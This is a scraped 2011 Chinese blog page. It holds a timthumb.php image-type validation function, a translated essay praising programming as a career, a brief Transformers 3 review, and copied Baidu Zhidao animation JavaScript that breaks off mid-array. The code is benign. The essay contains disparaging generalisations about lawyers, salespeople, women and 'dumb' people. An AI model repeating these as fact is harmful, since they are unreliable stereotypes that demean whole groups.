
/**
 * determine the file mime type
 *
 * @param  $file
 * @return
 */
function mime_type ($file) {
 
	$file_infos = getimagesize ($file);
	$mime_type = $file_infos['mime'];
 
    // use mime_type to determine mime type
    if (!preg_match ("/jpg|jpeg|gif|png/i", $mime_type)) {
		display_error ('Invalid src mime type: ' . $mime_type);
		echo "sorry ,error src type";
		exit();
    }
 
    return $mime_type;
 
}

timthumb.php相关新闻:

http://www.cnbeta.com/articles/150685.htm

110728 编程是独一无二的职业

时间:2011年07月28日作者:可 乐烟查看次数:228 浏览数评论次数:0

1. 简介
有些人说编程很难,有些人认为很容易。
编程不仅依赖你的能力,而且还取决你工作的态度。
编程的确很难,但比起那些需要伪装、欺骗和表演来生活的恶棍或者小丑来说,真的一点也不难。
作为一个程序员,知道你在做什么,会让生活变得更加有趣和快乐。

2. 与不会说话的机器为伍
计算机是不会说话的机器。
除非你向它发送精确的指令,否则计算机是不会懂(你的意思)的。
和哑巴一起工作,明显是困难的。
因此,程序员必须很聪明。
阿呆与阿瓜永远不会是一对好组合。

3. 计算机是专横的(一个不可避免的恶魔)
不会说话的计算机明显也是专横的。
计算机语言之所以如此的专横,其中的一个好的理由就是让程序变得更精确而且没有歧义。
精确性是人们喜欢使用软件而不是由人来完成一件事情的最主要理由之一。

4. 人不能欺骗程序
编写什么代码就得到什么运行结果。
没有所谓的隐藏设计或者隐藏代码bug。
Bug总是会显现的。
因为当软件运行的时候,它已经不再处于你的控制之下了。
编写正确的代码是唯一的选择。

5. 没有地方可以祷告
不可能通过祈祷让代码工作。
如果你想要完成软件,只要设计一个方案然后编码实现。
在代码面前你与天才程序员的机会是平等的,这是很酷的一件事情。

6. 没有地方调情
一些人通过调戏其他人以完成工作。
计算机不是一个可爱的人。
在编程时仅仅调情是没有任何优势的。
编程适合真正(实干)的人。

7. 程序员都是解决问题的人
有很多看上去很像专业人士的人,他们其实是问题的制造者。
大多的律师为了他们的生计给别人找不必要的问题。
大多的销售为了他们的生计向别人推销不需要的东西。
一些很懒的或者不胜任工作的人,努力地成为管理别人工作的管理者。
但是,编程是在真正解决现实世界中的问题。
只有真正有才能的人才能成为程序员。

8. 逻辑思考真的很重要
八卦适合漂亮的女人。
占星术/迷信适合哑巴。
科学适合老古董。
编程适合逻辑思考者。
编程适合善于分析的人。
逻辑思考和分析也会让你变得聪慧。—— 一个对你人生的奖励。

9. 聪明人,编程以及职业
如果你是聪明人,并且很擅长你所作的工作
你不需要向别人乞讨才能生存。
你不需要通过调情才能生存。
你会获得均等的机会。
你会获得自主。
你会获得自由(除非你是计算机的奴隶)
你会变得聪慧。

10. 编程适合不做作的人
“世上有两类人:一类人完成工作,另一类接受荣誉。努力成为第一类,那里竞争会少一点。” 英吉拉·甘地

 

原文转自: http://www.jobbole.com/blog.php?b=1128

110725 拿福能中国之 变形金刚3 观影活动

时间:2011年07月25日作者:可 乐烟查看次数:210 浏览数评论次数:0

虽然说 挂了很久的参加了 拿福能 <千人挑战>,到目前还没截止,也算是个悲剧,中国得博主是多的,但每个人都有自己的看法,或许拿福能在中国还只能算得上是个婴儿期,尚未在国内打开自己的品牌效应,但我想其在中国互联网的发展速度还是相当的快的。或许这得归功于  拿福能中国 努力的 4个成员吧

活动很精彩,但未必每个人都愿意走出家门。互联网已经牵制我们现实行动的步伐,依赖在家里,抱着电脑度日。或许是我们这一代的选择。是政府导致,还是自我导致,还是科技导致,谁也无从去说得清。

变3是我今年来看得第一部大片,因为实在是互联网什么都有,国内还没公映,BT种子已经开始流行。

变3的剧透我就不多说了,我说下自己的影评吧:

3个汽车人巨头,1个想回家,1个想保护地球在哪都可以生存,1个想做汽车人的头头,各种尔虞我诈后 正义战胜了各种邪恶,完结。 不够震撼,不知所谓,纯粹大片看个3D。

 

呃 文章最后 奉献 拿福能美女一枚

110721 变形金刚 JS代码

时间:2011年07月21日作者:可 乐烟查看次数:197 浏览数评论次数:0

变形金刚3 今天上映,昨天 百度知道将 变形金刚为主的 相关知道页面添加了 变形金刚 JS动画,我看了下很有意思 顺便把代码扒了下来 有兴趣的可以看下

var T, baidu = T = baidu || {
    version: "1.3.9"
};
baidu.guid = "$BAIDU$";
window[baidu.guid] = window[baidu.guid] || {};
baidu.dom = baidu.dom || {};
baidu.browser = baidu.browser || {};
if (/msie (\d+\.\d)/i.test(navigator.userAgent)) {
    baidu.browser.ie = baidu.ie = document.documentMode || +RegExp["\x241"]
}
baidu.dom.opacity = function(b, a) {
    b = baidu.dom.g(b);
    if (!baidu.browser.ie) {
        b.style.opacity = a;
        b.style.KHTMLOpacity = a
    } else {
        b.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity:" + Math.floor(a * 100) + ")"
    }
};
baidu.dom.scale = function(c, g, b) {
    if (! (c = baidu.dom.g(c)) || typeof g != "number") {
        return null
    }
    b = b || {};
    var e = c.style,
    a = b.transformOrigin || "0px 0px";
    if (baidu.browser.ie) {
        e.zoom = g
    } else {
        var d = "ransform",
        f = d + "Origin";
        e["WebkitT" + f] = e["MozT" + f] = e["OT" + f] = e["t" + f] = a;
        e["WebkitT" + d] = e["MozT" + d] = e["OT" + d] = e["t" + d] = "scale(" + g + ")"
    }
};
baidu.event = baidu.event || {};
baidu.event._listeners = baidu.event._listeners || [];
baidu.lang = baidu.lang || {};
baidu.lang.isString = function(a) {
    return "[object String]" == Object.prototype.toString.call(a)
};
baidu.isString = baidu.lang.isString;
baidu.dom._g = function(a) {
    if (baidu.lang.isString(a)) {
        return document.getElementById(a)
    }
    return a
};
baidu._g = baidu.dom._g;
baidu.event.on = function(b, e, g) {
    e = e.replace(/^on/i, "");
    b = baidu.dom._g(b);
    var f = function(i) {
        g.call(b, i)
    },
    a = baidu.event._listeners,
    d = baidu.event._eventFilter,
    h,
    c = e;
    e = e.toLowerCase();
    if (d && d[e]) {
        h = d[e](b, e, f);
        c = h.type;
        f = h.listener
    }
    if (b.addEventListener) {
        b.addEventListener(c, f, false)
    } else {
        if (b.attachEvent) {
            b.attachEvent("on" + c, f)
        }
    }
    a[a.length] = [b, e, g, f, c];
    return b
};
baidu.on = baidu.event.on;
baidu.dom.g = function(a) {
    if ("string" == typeof a || a instanceof String) {
        return document.getElementById(a)
    } else {
        if (a && a.nodeName && (a.nodeType == 1 || a.nodeType == 9)) {
            return a
        }
    }
    return null
};
baidu.g = baidu.G = baidu.dom.g;
baidu.dom.insertHTML = function(d, a, c) {
    d = baidu.dom.g(d);
    var b, e;
    if (d.insertAdjacentHTML) {
        d.insertAdjacentHTML(a, c)
    } else {
        b = d.ownerDocument.createRange();
        a = a.toUpperCase();
        if (a == "AFTERBEGIN" || a == "BEFOREEND") {
            b.selectNodeContents(d);
            b.collapse(a == "AFTERBEGIN")
        } else {
            e = a == "BEFOREBEGIN";
            b[e ? "setStartBefore": "setEndAfter"](d);
            b.collapse(e)
        }
        b.insertNode(b.createContextualFragment(c))
    }
    return d
};
baidu.insertHTML = baidu.dom.insertHTML;
baidu.dom.getDocument = function(a) {
    a = baidu.dom.g(a);
    return a.nodeType == 9 ? a: a.ownerDocument || a.document
};
baidu.dom.getComputedStyle = function(b, a) {
    b = baidu.dom._g(b);
    var d = baidu.dom.getDocument(b),
    c;
    if (d.defaultView && d.defaultView.getComputedStyle) {
        c = d.defaultView.getComputedStyle(b, null);
        if (c) {
            return c[a] || c.getPropertyValue(a)
        }
    }
    return ""
};
baidu.dom._styleFixer = baidu.dom._styleFixer || {};
baidu.dom._styleFilter = baidu.dom._styleFilter || [];
baidu.dom._styleFilter.filter = function(b, e, f) {
    for (var a = 0,
    d = baidu.dom._styleFilter,
    c; c = d[a]; a++) {
        if (c = c[f]) {
            e = c(b, e)
        }
    }
    return e
};
baidu.string = baidu.string || {};
baidu.string.toCamelCase = function(a) {
    if (a.indexOf("-") < 0 && a.indexOf("_") < 0) {
        return a
    }
    return a.replace(/[-_][^-_]/g,
    function(b) {
        return b.charAt(1).toUpperCase()
    })
};
baidu.dom.getStyle = function(c, b) {
    var e = baidu.dom;
    c = e.g(c);
    b = baidu.string.toCamelCase(b);
    var d = c.style[b] || (c.currentStyle ? c.currentStyle[b] : "") || e.getComputedStyle(c, b);
    if (!d) {
        var a = e._styleFixer[b];
        if (a) {
            d = a.get ? a.get(c) : baidu.dom.getStyle(c, a)
        }
    }
    if (a = e._styleFilter) {
        d = a.filter(b, d, "get")
    }
    return d
};
baidu.getStyle = baidu.dom.getStyle;
if (/opera\/(\d+\.\d)/i.test(navigator.userAgent)) {
    baidu.browser.opera = +RegExp["\x241"]
}
baidu.browser.isWebkit = /webkit/i.test(navigator.userAgent);
baidu.browser.isGecko = /gecko/i.test(navigator.userAgent) && !/like gecko/i.test(navigator.userAgent);
baidu.browser.isStrict = document.compatMode == "CSS1Compat";
baidu.dom.getPosition = function(a) {
    a = baidu.dom.g(a);
    var j = baidu.dom.getDocument(a),
    d = baidu.browser,
    g = baidu.dom.getStyle,
    c = d.isGecko > 0 && j.getBoxObjectFor && g(a, "position") == "absolute" && (a.style.top === "" || a.style.left === ""),
    h = {
        left: 0,
        top: 0
    },
    f = (d.ie && !d.isStrict) ? j.body: j.documentElement,
    k,
    b;
    if (a == f) {
        return h
    }
    if (a.getBoundingClientRect) {
        b = a.getBoundingClientRect();
        h.left = Math.floor(b.left) + Math.max(j.documentElement.scrollLeft, j.body.scrollLeft);
        h.top = Math.floor(b.top) + Math.max(j.documentElement.scrollTop, j.body.scrollTop);
        h.left -= j.documentElement.clientLeft;
        h.top -= j.documentElement.clientTop;
        var i = j.body,
        l = parseInt(g(i, "borderLeftWidth")),
        e = parseInt(g(i, "borderTopWidth"));
        if (d.ie && !d.isStrict) {
            h.left -= isNaN(l) ? 2 : l;
            h.top -= isNaN(e) ? 2 : e
        }
    } else {
        k = a;
        do {
            h.left += k.offsetLeft;
            h.top += k.offsetTop;
            if (d.isWebkit > 0 && g(k, "position") == "fixed") {
                h.left += j.body.scrollLeft;
                h.top += j.body.scrollTop;
                break
            }
            k = k.offsetParent
        } while ( k && k != a );
        if (d.opera > 0 || (d.isWebkit > 0 && g(a, "position") == "absolute")) {
            h.top -= j.body.offsetTop
        }
        k = a.offsetParent;
        while (k && k != j.body) {
            h.left -= k.scrollLeft;
            if (!d.opera || k.tagName != "TR") {
                h.top -= k.scrollTop
            }
            k = k.offsetParent
        }
    }
    return h
};
baidu.page = baidu.page || {};
baidu.page.getViewHeight = function() {
    var b = document,
    a = b.compatMode == "BackCompat" ? b.body: b.documentElement;
    return a.clientHeight
};
baidu.fx = baidu.fx || {};
baidu.dom.show = function(a) {
    a = baidu.dom.g(a);
    a.style.display = "";
    return a
};
baidu.show = baidu.dom.show;
baidu.object = baidu.object || {};
baidu.extend = baidu.object.extend = function(c, a) {
    for (var b in a) {
        if (a.hasOwnProperty(b)) {
            c[b] = a[b]
        }
    }
    return c
}; (function() {
    var a = window[baidu.guid];
    baidu.lang.guid = function() {
        return "TANGRAM__" + (a._counter++).toString(36)
    };
    a._counter = a._counter || 1
})();
window[baidu.guid]._instances = window[baidu.guid]._instances || {};
baidu.lang.isFunction = function(a) {
    return "[object Function]" == Object.prototype.toString.call(a)
};
baidu.lang.Class = function(a) {
    this.guid = a || baidu.lang.guid();
    window[baidu.guid]._instances[this.guid] = this
};
window[baidu.guid]._instances = window[baidu.guid]._instances || {};
baidu.lang.Class.prototype.dispose = function() {
    delete window[baidu.guid]._instances[this.guid];
    for (var a in this) {
        if (!baidu.lang.isFunction(this[a])) {
            delete this[a]
        }
    }
    this.disposed = true
};
baidu.lang.Class.prototype.toString = function() {
    return "[object " + (this._className || "Object") + "]"
};
baidu.lang.Event = function(a, b) {
    this.type = a;
    this.returnValue = true;
    this.target = b || null;
    this.currentTarget = null
};
baidu.lang.Class.prototype.addEventListener = function(d, c, b) {
    if (!baidu.lang.isFunction(c)) {
        return
    } ! this.__listeners && (this.__listeners = {});
    var a = this.__listeners,
    e;
    if (typeof b == "string" && b) {
        if (/[^\w\-]/.test(b)) {
            throw ("nonstandard key:" + b)
        } else {
            c.hashCode = b;
            e = b
        }
    }
    d.indexOf("on") != 0 && (d = "on" + d);
    typeof a[d] != "object" && (a[d] = {});
    e = e || baidu.lang.guid();
    c.hashCode = e;
    a[d][e] = c
};
baidu.lang.Class.prototype.removeEventListener = function(d, c) {
    if (typeof c != "undefined") {
        if ((baidu.lang.isFunction(c) && !(c = c.hashCode)) || (!baidu.lang.isString(c))) {
            return
        }
    } ! this.__listeners && (this.__listeners = {});
    d.indexOf("on") != 0 && (d = "on" + d);
    var b = this.__listeners;
    if (!b[d]) {
        return
    }
    if (typeof c != "undefined") {
        b[d][c] && delete b[d][c]
    } else {
        for (var a in b[d]) {
            delete b[d][a]
        }
    }
};
baidu.lang.Class.prototype.dispatchEvent = function(d, a) {
    if (baidu.lang.isString(d)) {
        d = new baidu.lang.Event(d)
    } ! this.__listeners && (this.__listeners = {});
    a = a || {};
    for (var c in a) {
        d[c] = a[c]
    }
    var c, b = this.__listeners,
    e = d.type;
    d.target = d.target || this;
    d.currentTarget = this;
    e.indexOf("on") != 0 && (e = "on" + e);
    baidu.lang.isFunction(this[e]) && this[e].apply(this, arguments);
    if (typeof b[e] == "object") {
        for (c in b[e]) {
            b[e][c].apply(this, arguments)
        }
    }
    return d.returnValue
};
baidu.global = baidu.global || {}; (function() {
    var a = window[baidu.guid];
    baidu.global.get = function(b) {
        return a[b]
    }
})();
baidu.lang.createClass = function(f, b) {
    b = b || {};
    var e = b.superClass || baidu.lang.Class;
    var d = function() {
        if (e != baidu.lang.Class) {
            e.apply(this, arguments)
        } else {
            e.call(this)
        }
        f.apply(this, arguments)
    };
    d.options = b.options || {};
    var h = function() {},
    g = f.prototype;
    h.prototype = e.prototype;
    var a = d.prototype = new h();
    for (var c in g) {
        a[c] = g[c]
    }
    typeof b.className == "string" && (a._className = b.className);
    a.constructor = g.constructor;
    d.extend = function(k) {
        for (var j in k) {
            d.prototype[j] = k[j]
        }
        return d
    };
    return d
};
baidu.fx.Timeline = baidu.lang.createClass(function(a) {
    baidu.object.extend(this, baidu.fx.Timeline.options);
    baidu.object.extend(this, a)
},
{
    className: "baidu.fx.Timeline",
    options: {
        interval: 16,
        duration: 500,
        dynamic: true
    }
}).extend({
    launch: function() {
        var a = this;
        a.dispatchEvent("onbeforestart");
        typeof a.initialize == "function" && a.initialize();
        a["\x06btime"] = new Date().getTime();
        a["\x06etime"] = a["\x06btime"] + (a.dynamic ? a.duration: 0);
        a["\x06pulsed"]();
        return a
    },
    "\x06pulsed": function() {
        var b = this;
        var a = new Date().getTime();
        b.percent = (a - b["\x06btime"]) / b.duration;
        b.dispatchEvent("onbeforeupdate");
        if (a >= b["\x06etime"]) {
            typeof b.render == "function" && b.render(b.transition(b.percent = 1));
            typeof b.finish == "function" && b.finish();
            b.dispatchEvent("onafterfinish");
            b.dispose();
            return
        }
        typeof b.render == "function" && b.render(b.transition(b.percent));
        b.dispatchEvent("onafterupdate");
        b["\x06timer"] = setTimeout(function() {
            b["\x06pulsed"]()
        },
        b.interval)
    },
    transition: function(a) {
        return a
    },
    cancel: function() {
        this["\x06timer"] && clearTimeout(this["\x06timer"]);
        this["\x06etime"] = this["\x06btime"];
        typeof this.restore == "function" && this.restore();
        this.dispatchEvent("oncancel");
        this.dispose()
    },
    end: function() {
        this["\x06timer"] && clearTimeout(this["\x06timer"]);
        this["\x06etime"] = this["\x06btime"];
        this["\x06pulsed"]()
    }
});
baidu.fx.create = function(d, b, c) {
    var e = new baidu.fx.Timeline(b);
    e.element = d;
    e._className = c || e._className;
    e["\x06original"] = {};
    var a = "baidu_current_effect";
    e.addEventListener("onbeforestart",
    function() {
        var g = this,
        f;
        g.attribName = "att_" + g._className.replace(/\W/g, "_");
        f = g.element.getAttribute(a);
        g.element.setAttribute(a, (f || "") + "|" + g.guid + "|", 0);
        if (!g.overlapping) { (f = g.element.getAttribute(g.attribName)) && window[baidu.guid]._instances[f].cancel();
            g.element.setAttribute(g.attribName, g.guid, 0)
        }
    });
    e["\x06clean"] = function(h) {
        var g = this,
        f;
        if (h = g.element) {
            h.removeAttribute(g.attribName);
            f = h.getAttribute(a);
            f = f.replace("|" + g.guid + "|", "");
            if (!f) {
                h.removeAttribute(a)
            } else {
                h.setAttribute(a, f, 0)
            }
        }
    };
    e.addEventListener("oncancel",
    function() {
        this["\x06clean"]();
        this["\x06restore"]()
    });
    e.addEventListener("onafterfinish",
    function() {
        this["\x06clean"]();
        this.restoreAfterFinish && this["\x06restore"]()
    });
    e.protect = function(f) {
        this["\x06original"][f] = this.element.style[f]
    };
    e["\x06restore"] = function() {
        var j = this["\x06original"],
        h = this.element.style,
        f;
        for (var g in j) {
            f = j[g];
            if (typeof f == "undefined") {
                continue
            }
            h[g] = f;
            if (!f && h.removeAttribute) {
                h.removeAttribute(g)
            } else {
                if (!f && h.removeProperty) {
                    h.removeProperty(g)
                }
            }
        }
    };
    return e
};
baidu.fx.scale = function(c, a) {
    if (! (c = baidu.dom.g(c))) {
        return null
    }
    a = baidu.object.extend({
        from: 0.1,
        to: 1
    },
    a || {});
    var e = /^(-?\d+px|\d?\d(\.\d+)?%|100%|left|center|right)(\s+(-?\d+px|\d?\d(\.\d+)?%|100%|top|center|bottom))?/i; ! e.test(a.transformOrigin) && (a.transformOrigin = "0px 0px");
    var b = {},
    d = baidu.fx.create(c, baidu.object.extend({
        fade: true,
        initialize: function() {
            baidu.dom.show(c);
            var k = this,
            f = b,
            p = c.style,
            j = function(o) {
                k.protect(o)
            };
            if (baidu.browser.ie) {
                j("top");
                j("left");
                j("position");
                j("zoom");
                j("filter");
                this.offsetX = parseInt(baidu.dom.getStyle(c, "left")) || 0;
                this.offsetY = parseInt(baidu.dom.getStyle(c, "top")) || 0;
                if (baidu.dom.getStyle(c, "position") == "static") {
                    p.position = "relative"
                }
                e.test(this.transformOrigin);
                var i = RegExp["\x241"].toLowerCase(),
                h = RegExp["\x244"].toLowerCase(),
                l = this.element.offsetWidth,
                g = this.element.offsetHeight,
                n,
                m;
                if (/\d+%/.test(i)) {
                    n = parseInt(i, 10) / 100 * l
                } else {
                    if (/\d+px/.test(i)) {
                        n = parseInt(i)
                    } else {
                        if (i == "left") {
                            n = 0
                        } else {
                            if (i == "center") {
                                n = l / 2
                            } else {
                                if (i == "right") {
                                    n = l
                                }
                            }
                        }
                    }
                }
                if (!h) {
                    m = g / 2
                } else {
                    if (/\d+%/.test(h)) {
                        m = parseInt(h, 10) / 100 * g
                    } else {
                        if (/\d+px/.test(h)) {
                            m = parseInt(h)
                        } else {
                            if (h == "top") {
                                m = 0
                            } else {
                                if (h == "center") {
                                    m = g / 2
                                } else {
                                    if (h == "bottom") {
                                        m = g
                                    }
                                }
                            }
                        }
                    }
                }
                p.zoom = this.from;
                f.cx = n;
                f.cy = m
            } else {
                j("WebkitTransform");
                j("WebkitTransformOrigin");
                j("MozTransform");
                j("MozTransformOrigin");
                j("OTransform");
                j("OTransformOrigin");
                j("transform");
                j("transformOrigin");
                j("opacity");
                j("KHTMLOpacity");
                p.WebkitTransform = p.MozTransform = p.OTransform = p.transform = "scale(" + this.from + ")";
                p.WebkitTransformOrigin = p.MozTransformOrigin = p.OTransformOrigin = p.transformOrigin = this.transformOrigin
            }
        },
        render: function(i) {
            var g = c.style,
            f = this.to == 1,
            f = typeof this.opacityTrend == "boolean" ? this.opacityTrend: f,
            h = f ? this.percent: 1 - this.percent,
            j = this.to * i + this.from * (1 - i);
            if (baidu.browser.ie) {
                g.zoom = j;
                if (this.fade) {
                    g.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity:" + Math.floor(h * 100) + ")"
                }
                g.top = this.offsetY + b.cy * (1 - j);
                g.left = this.offsetX + b.cx * (1 - j)
            } else {
                g.WebkitTransform = g.MozTransform = g.OTransform = g.transform = "scale(" + j + ")";
                if (this.fade) {
                    g.KHTMLOpacity = g.opacity = h
                }
            }
        }
    },
    a), "baidu.fx.scale");
    return d.launch()
};
baidu.fx.move = function(b, a) {
    if (! (b = baidu.dom.g(b)) || baidu.dom.getStyle(b, "position") == "static") {
        return null
    }
    a = baidu.object.extend({
        x: 0,
        y: 0
    },
    a || {});
    if (a.x == 0 && a.y == 0) {
        return null
    }
    var c = baidu.fx.create(b, baidu.object.extend({
        initialize: function() {
            this.protect("top");
            this.protect("left");
            this.originX = parseInt(baidu.dom.getStyle(b, "left")) || 0;
            this.originY = parseInt(baidu.dom.getStyle(b, "top")) || 0
        },
        transition: function(d) {
            return 1 - Math.pow(1 - d, 2)
        },
        render: function(d) {
            b.style.top = (this.y * d + this.originY) + "px";
            b.style.left = (this.x * d + this.originX) + "px"
        }
    },
    a), "baidu.fx.move");
    return c.launch()
};
baidu.fx.moveTo = function(d, b, c) {
    if (! (d = baidu.dom.g(d)) || baidu.dom.getStyle(d, "position") == "static" || typeof b != "object") {
        return null
    }
    var f = [b[0] || b.x || 0, b[1] || b.y || 0];
    var a = parseInt(baidu.dom.getStyle(d, "left")) || 0;
    var g = parseInt(baidu.dom.getStyle(d, "top")) || 0;
    var e = baidu.fx.move(d, baidu.object.extend({
        x: f[0] - a,
        y: f[1] - g
    },
    c || {}));
    return e
}; (function() {
    if (location.search.match(/pn=/) && !location.search.match(/pn=0/)) {
        return
    }
    var f = document.getElementById("main").getElementsByTagName("div")[0].getElementsByTagName("td")[0];
    if (!f) {
        f = document.createElement("div");
        f.style.marginTop = "10px";
        document.getElementById("main").insertBefore(f, document.getElementById("main").firstChild)
    }
   // f.innerHTML = '<a target="_blank" href="http://zhidao.baidu.com/s/transformers/index.html?fr=search_transformers"><img alt="百度知道-变形金刚" src="http://img.baidu.com/img/iknow/activity/transformad.gif" /></a>';
    var b = document.getElementById("center").getElementsByTagName("div")[0];
    if (b && b.style.width == "85%") {
        b.style.display = "none";
        b.innerHTML = ""
    }
    var e = document.getElementById("right").getElementsByTagName("div");
    if (e && e.length) {
        for (var c = 0; c < e.length; c++) {
            e[c].style.display = "none"
        }
    }
    var a = document.getElementById("right").getElementsByTagName("table")[0];
    if (a) {
        a.style.display = "none"
    }
    var d = function() {
        if (document.getElementById("iknowguidehandle")) {
            document.getElementById("iknowguidehandle").style.display = "none"
        }
        if (document.getElementById("iknowguidecontent")) {
            document.getElementById("iknowguidecontent").style.display = "none"
        }
    };
    d();
    setTimeout(function() {
        d()
    },
    1000)
})();
baidu.zhidao = baidu.zhidao || {};
baidu.zhidao.Pixel = function(a) {
    this.source = a;
    this.element = a.cloneNode(true);
    this.width = a.offsetWidth;
    this.height = a.offsetHeight;
    var b = baidu.dom.getPosition(a);
    this.top = b.top;
    this.left = b.left;
    this.element.style.position = "absolute";
    this.rect_t;
    this.rect_r;
    this.rect_b;
    this.rect_l
};
baidu.object.extend(baidu.zhidao.Pixel.prototype, {
    setPosTop: function(a) {
        if (this.tempTop == a) {
            return
        }
        this.element.style.top = ((this.tempTop = a) - this.rect_t) + "px"
    },
    setPosLeft: function(a) {
        if (this.tempLeft == a) {
            return
        }
        this.element.style.left = ((this.tempLeft = a) - this.rect_l) + "px"
    },
    hide: function() {
        this.element.style.display = "none"
    },
    show: function() {
        this.element.style.display = ""
    }
});
baidu.zhidao.Sketchpad = function(a) {
    this.source = a;
    this.field = null;
    this.arena = null;
    this.pixels = [];
    this.otiose = [];
    this.pxwidth = 32;
    this.pxheight = 33;
    this.pxh = 20;
    this.pxv = 24;
    this.max = 11;
    this.ix = 16;
    this.iy = 2;
    this.dis = 4;
    this.width = this.source.offsetWidth;
    this.zhong = Math.ceil((this.width - this.pxwidth * this.ix) / 2 - this.pxwidth * this.dis / 2);
    this.height = 1010;
    this.bgcolor = "#F7F7F7"
};
baidu.object.extend(baidu.zhidao.Sketchpad.prototype, {
    render: function() {
        var h = this;
        var a = this.field = this.source.ownerDocument.createElement("DIV");
        a.style.position = "absolute";
        a.style.width = this.width + "px";
        a.style.height = this.height + "px";
        this.source.parentNode.insertBefore(a, this.source);
        this.position = baidu.dom.getPosition(this.field);
        this.arenaLeft = this.width - (this.pxwidth * this.pxh);
        this.field.innerHTML = "<div style='position:absolute; top:0px; left:" + this.arenaLeft + "px; width:" + this.pxwidth * this.pxh + "px; height:" + this.pxheight * this.pxv + "px;'></div>";
        this.arena = this.field.firstChild;
        baidu.event.on(window, "onresize",
        function() {
            h.width = baidu.dom.g("center").offsetWidth;
            h.field && (h.field.style.width = h.width + "px")
        });
        var m = this.source.getElementsByTagName("TABLE");
        var f = this.ts = [];
        this.max = m.length - 1;
        for (var e = 0; e < this.max; e++) {
            f[e] = m[e]
        }
        var d = baidu.page.getViewHeight();
        for (var e = 0; e < this.max; e++) {
            var k = baidu.dom.getPosition(f[e]);
            if (this.pixels.length > 190) {
                var c = f[e].cloneNode(true);
                this.field.appendChild(c);
                c.style.position = "absolute";
                c.style.top = (k.top - this.position.top) + "px";
                c.style.left = (k.left - this.position.left) + "px";
                this.otiose.push(c)
            } else {
                for (var j = 0; j < this.iy; j++) {
                    var g = f[e].offsetHeight < this.pxheight * 2;
                    if (j == 1 && g) {
                        continue
                    }
                    for (var l = 0; l < this.ix; l++) {
                        var b = new baidu.zhidao.Pixel(f[e]);
                        b.lineno = e;
                        b.bgc = b.element.bgColor;
                        b.element.bgColor = "";
                        b.rect_t = this.pxheight * j + ((2 + j) * (j + 1));
                        b.rect_r = this.pxwidth * (l + 1) + 12;
                        b.rect_b = this.pxheight * (j + 1) + ((2 + j) * (j + 1));
                        b.rect_l = this.pxwidth * l + 12;
                        if (g) {
                            b.element.style.marginLeft = b.element.style.left = "0px";
                            b.rect_b = 48;
                            b.rect_l = this.pxwidth * l
                        }
                        b.element.style.clip = "rect(" + b.rect_t + "px " + b.rect_r + "px " + b.rect_b + "px " + b.rect_l + "px)";
                        this.pixels.push(b);
                        this.field.appendChild(b.element);
                        b.element.style.top = (b.top - this.position.top) + "px";
                        b.element.style.left = (b.left - this.position.left) + "px"
                    }
                }
            }
            f[e].style.visibility = "hidden"
        }
        this.bodyOverflow = document.body.style.overflow;
        document.body.style.overflow = "hidden"
    },
    scale: function(a) {
        a = a || Math.floor((baidu.page.getViewHeight() - this.position.top) / 100) / 10;
        baidu.dom.scale(this.arena, a)
    },
    dismiss: function() {
        if (baidu.browser.ie) {
            var b = document.createElement("DIV");
            b.appendChild(this.field);
            b.innerHTML = ""
        } else { (this.field.parentNode) && this.field.parentNode.removeChild(this.field)
        }
        for (var a = this.ts.length - 1; a > -1; a--) {
            this.ts[a].style.visibility = ""
        }
        document.body.style.overflow = this.bodyOverflow;
        baidu.lang.Class.prototype.dispose.call(this)
    },
    draw: function(d, g) {
        for (var f = 0,
        b = 0; f < d.length; f++) {
            for (var a = (g || 32); a > 0; a--) {
                var e = Math.pow(2, a - 1);
                if (d[f] & e) {
                    var c = this.pixels[b];
                    if (!c.busy) {
                        this.arena.appendChild(c.element);
                        c.busy = true;
                        c.show()
                    }
                    c.setPosTop(this.pxheight * f);
                    c.setPosLeft(this.pxwidth * ((g || this.pxh) - a));
                    b++
                }
            }
        }
        for (; b < this.pixels.length; b++) {
            var c = this.pixels[b];
            if (c.busy) {
                c.hide();
                c.busy = false;
                this.field.appendChild(c.element)
            }
        }
    }
}); (function() {
    if (location.search.match(/pn=/) && !location.search.match(/pn=0/)) {
        return
    }
    var o = [[0, 0, 336, 496, 336, 496, 496, 224, 0, 3574, 3574, 3574, 3574, 3574, 3574, 3574, 0, 432, 432, 432, 432, 432, 952, 952], [0, 0, 160, 240, 240, 112, 496, 496, 0, 240, 496, 504, 504, 1016, 1020, 252, 0, 432, 432, 432, 432, 432, 1008, 1008], [0, 0, 160, 240, 240, 112, 496, 496, 0, 240, 496, 504, 504, 1016, 1020, 252, 0, 432, 432, 816, 816, 1840, 1904, 112], [0, 0, 160, 240, 240, 112, 496, 496, 0, 240, 496, 1016, 1788, 1790, 246, 240, 0, 432, 432, 816, 1584, 3632, 3696, 112], [0, 0, 160, 240, 240, 112, 496, 496, 0, 240, 496, 1016, 1788, 1278, 243, 240, 0, 432, 944, 560, 1584, 3632, 3696, 112], [0, 0, 160, 240, 240, 112, 496, 496, 0, 240, 496, 2040, 3326, 2295, 241, 240, 0, 1968, 1968, 1584, 3632, 3632, 112, 112], [0, 0, 160, 240, 240, 112, 496, 496, 0, 240, 496, 1016, 1788, 1278, 243, 240, 0, 432, 944, 560, 1584, 3632, 3696, 112], [0, 0, 160, 240, 240, 112, 496, 496, 0, 240, 496, 1016, 1788, 1790, 246, 240, 0, 432, 432, 816, 1584, 3632, 3696, 112], [0, 0, 160, 240, 240, 112, 496, 496, 0, 240, 496, 504, 504, 1016, 1020, 252, 0, 432, 432, 816, 816, 1840, 1904, 112], [0, 0, 160, 240, 240, 112, 496, 496, 0, 240, 496, 504, 504, 1016, 1020, 252, 0, 432, 432, 432, 432, 432, 1008, 1008], [0, 0, 160, 240, 240, 112, 496, 496, 0, 240, 496, 504, 504, 1016, 1020, 252, 0, 432, 432, 480, 480, 480, 992, 896], [0, 0, 160, 240, 240, 112, 496, 496, 0, 240, 496, 504, 1016, 1790, 1782, 240, 0, 432, 480, 480, 480, 384, 896, 896], [0, 0, 160, 240, 240, 112, 496, 496, 0, 240, 496, 1016, 1788, 638, 242, 240, 0, 240, 240, 480, 480, 96, 224, 224], [0, 0, 160, 240, 240, 112, 496, 496, 0, 240, 496, 2040, 3326, 2295, 241, 240, 0, 496, 496, 944, 944, 48, 240, 240], [0, 0, 160, 240, 240, 112, 496, 496, 0, 240, 496, 1016, 1788, 638, 242, 240, 0, 240, 240, 480, 480, 96, 224, 224], [0, 0, 160, 240, 240, 112, 496, 496, 0, 240, 496, 504, 1016, 1790, 1782, 240, 0, 432, 480, 480, 480, 384, 896, 896], [0, 0, 160, 240, 240, 112, 